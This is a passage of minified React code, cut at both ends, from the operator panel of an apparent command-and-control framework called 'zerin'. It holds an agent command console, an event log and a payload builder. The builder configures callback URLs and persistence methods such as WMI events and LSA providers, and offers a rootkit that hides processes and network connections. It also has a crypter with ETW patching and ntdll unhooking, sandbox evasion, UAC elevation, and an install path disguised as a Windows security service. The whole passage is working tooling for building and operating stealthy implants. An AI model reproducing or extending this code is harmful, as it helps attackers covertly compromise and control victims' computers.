font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:$=>g($.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(Dj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>D(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:$=>$.stopPropagation(),children:[a.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Om({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const uS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},Wb={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},vV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function gV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await t6();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(gd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(Ub,{label:"All",active:i==="all",onClick:()=>s("all")}),vV.map(p=>a.jsx(Ub,{label:uS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&a.jsx("button",{onClick:()=>s("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),a.jsx("div",{children:d.map((p,h)=>a.jsx(yV,{event:p,expanded:o===p.id,onToggle:()=>l(o===p.id?null:p.id)},p.id||h))})]})]})}function yV({event:e,expanded:t,onToggle:n}){const r=Wb[e.severity]||Wb.info,i=e.details&&Object.keys(e.details).length>0;return a.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[a.jsx("div",{children:a.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:uS[e.type]||e.type})}),a.jsx("div",{className:"min-w-0",children:a.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:d_(e.timestamp)})})]}),t&&i&&a.jsx("div",{className:"px-4 pb-3",children:a.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[a.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),a.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([s,o])=>a.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[a.jsxs("span",{className:"text-zerin-text-muted",children:[s,":"]}),a.jsx("span",{className:"text-zerin-text",children:String(o)})]},s))})]})})]})}function Ub({label:e,active:t,onClick:n}){return a.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const Vb="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function Hb(){return`agent-${Math.random().toString(16).slice(2,6)}`}const Kb=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],bV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function wV(){const{isAdmin:e}=ya(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(!1),[l,c]=m.useState(0),[u,d]=m.useState(0),[f,p]=m.useState(""),[h,x]=m.useState(""),g=m.useSyncExternalStore(Tj,Oj),y=g.status==="building",[v,b]=m.useState(Hb),[w,j]=m.useState([""]),[N,k]=m.useState("30"),[z,S]=m.useState("25"),[O,A]=m.useState(""),[T,P]=m.useState(Vb),[D,G]=m.useState(!1),[R,K]=m.useState("exe"),[_,M]=m.useState(0),[F,U]=m.useState(!0),[V,Z]=m.useState(!0),[ae,ue]=m.useState(!0),[be,ye]=m.useState(!0),[q,te]=m.useState(1),[C,Y]=m.useState("Microsoft\\WindowsUpdate"),[ne,B]=m.useState("SecurityHealthService.exe"),[le,we]=m.useState(null),Ne=m.useCallback(async()=>{try{const H=await i6();n(H)}catch{}finally{i(!1)}},[]);m.useEffect(()=>{Ne(),a6().then(H=>{j(se=>se.length===1&&se[0]===""?[H.default_callback_url]:se)}).catch(()=>{})},[Ne]),m.useEffect(()=>{if(!y||!g.startedAt){c(0),d(0);return}const H=setInterval(()=>{const W=Math.floor((Date.now()-g.startedAt)/1e3);d(W);const Q=Math.min(95,Math.floor(100*(1-Math.exp(-W/50))));c(Q)},500),se=Math.floor((Date.now()-g.startedAt)/1e3);return d(se),c(Math.min(95,Math.floor(100*(1-Math.exp(-se/50))))),()=>clearInterval(H)},[y,g.startedAt]),m.useEffect(()=>{y&&o(!0)},[]),m.useEffect(()=>{g.status==="success"?(x(`Payload "${g.payloadName}" built successfully`),o(!1),sy(),Ne()):g.status==="error"&&(p(g.error||"Failed to build payload"),sy())},[g.status]),m.useEffect(()=>{if(!h)return;const H=setTimeout(()=>x(""),4e3);return()=>clearTimeout(H)},[h]);function Ae(){b(Hb()),k("30"),S("25"),A(""),P(Vb),G(!1),K("exe"),M(0),U(!0),Z(!0),ue(!0),ye(!0),te(1),Y("Microsoft\\WindowsUpdate"),B("SecurityHealthService.exe")}async function $(H){H.preventDefault(),p("");const se=w.filter(he=>he.trim()!=="");let W=0;O&&(W=Math.floor(new Date(O).getTime()/1e3));const Q={name:v.trim(),callback_urls:se,sleep_interval:parseInt(N,10)||30,jitter_percent:parseInt(z,10)||25,kill_date:W,user_agent:T.trim(),output_format:R,debug:D,persist_methods:_||void 0,rootkit_enabled:F,encryption_enabled:V,anti_vm:ae,auto_elevate:be,install_dir:q,install_subdir:C,install_filename:ne};q6(Q.name);try{await r6(Q),X6(),Ae()}catch(he){he instanceof bi?ay(he.message):ay("Failed to build payload")}}async function fe(H){const se=st();if(!se){p("Not authenticated");return}try{const W=await fetch(`/api/payloads/${H.payload_id}/download`,{headers:{Authorization:`Bearer ${se}`}});if(!W.ok){p("Download failed");return}const Q=await W.blob(),he=URL.createObjectURL(Q),E=document.createElement("a");E.href=he;const ce=W.headers.get("content-disposition"),J=ce==null?void 0:ce.match(/filename="(.+?)"/);E.download=(J==null?void 0:J[1])||`${H.name||"payload"}.exe`,document.body.appendChild(E),E.click(),document.body.removeChild(E),URL.revokeObjectURL(he)}catch{p("Download failed")}}async function ve(H){try{await s6(H),we(null),Ne()}catch{p("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),a.jsx("button",{onClick:()=>{o(!s),p("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${s?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:s?"Cancel":"+ Build Agent"})]}),h&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:h}),s&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),f&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:f}),a.jsxs("form",{onSubmit:$,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(ir,{label:"Payload Name",children:a.jsx("input",{type:"text",value:v,onChange:H=>b(H.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),a.jsx(ir,{label:"Output Format",children:a.jsxs("select",{value:R,onChange:H=>{const se=H.target.value;K(se),se==="exe"&&M(W=>W&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(ir,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:N,onChange:H=>k(H.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(ir,{label:`Jitter (${z}%)`,children:a.jsx("input",{type:"range",value:z,onChange:H=>S(H.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(ir,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:O,onChange:H=>A(H.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),a.jsx(ir,{label:"User Agent",children:a.jsx("input",{type:"text",value:T,onChange:H=>P(H.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),e&&a.jsx(ir,{label:"Callback URLs",children:a.jsxs("div",{className:"space-y-2",children:[w.map((H,se)=>a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{type:"text",value:H,onChange:W=>{const Q=[...w];Q[se]=W.target.value,j(Q)},placeholder:"https://1.2.3.4:8443",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),w.length>1&&a.jsx("button",{type:"button",onClick:()=>j(w.filter((W,Q)=>Q!==se)),className:"px-2 text-zerin-text-muted hover:text-zerin-danger transition-colors",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},se)),a.jsx("button",{type:"button",onClick:()=>j([...w,""]),className:"text-xs text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"+ Add URL"})]})}),a.jsx(ir,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:bV.map(H=>{const se=H.dllOnly&&R==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${se?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(_&H.flag)!==0,disabled:se,onChange:W=>{M(W.target.checked?_|H.flag:_&~H.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:H.label}),H.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),se&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},H.flag)})})}),a.jsx(ir,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:q,onChange:H=>te(parseInt(H.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:C,onChange:H=>Y(H.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:ne,onChange:H=>B(H.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),a.jsxs(ir,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:F,onChange:H=>U(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:V,onChange:H=>Z(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${V?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:ae,disabled:!V,onChange:H=>ue(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:be,onChange:H=>ye(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>G(!D),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${D?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${D?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{o(!1),p("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:y,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[y&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),y?"Building...":"Build"]})]}),y&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(Kb.filter(H=>H.at<=l).pop()??Kb[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[u,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${l}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):t.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!s&&a.jsx("button",{onClick:()=>o(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:t.map(H=>{let se={};try{se=JSON.parse(H.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[a.jsx("div",{children:a.jsx("span",{className:"text-sm font-medium text-zerin-text",children:H.name})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[se.sleep_interval??"—","s"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[se.jitter_percent??"—","%"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:H.agent_pubkey,children:[(H.agent_pubkey??"").slice(0,16),"..."]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-dim",children:H.built_by})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:Lo(H.built_at)})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:Mp(H.file_size)})}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>fe(H),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 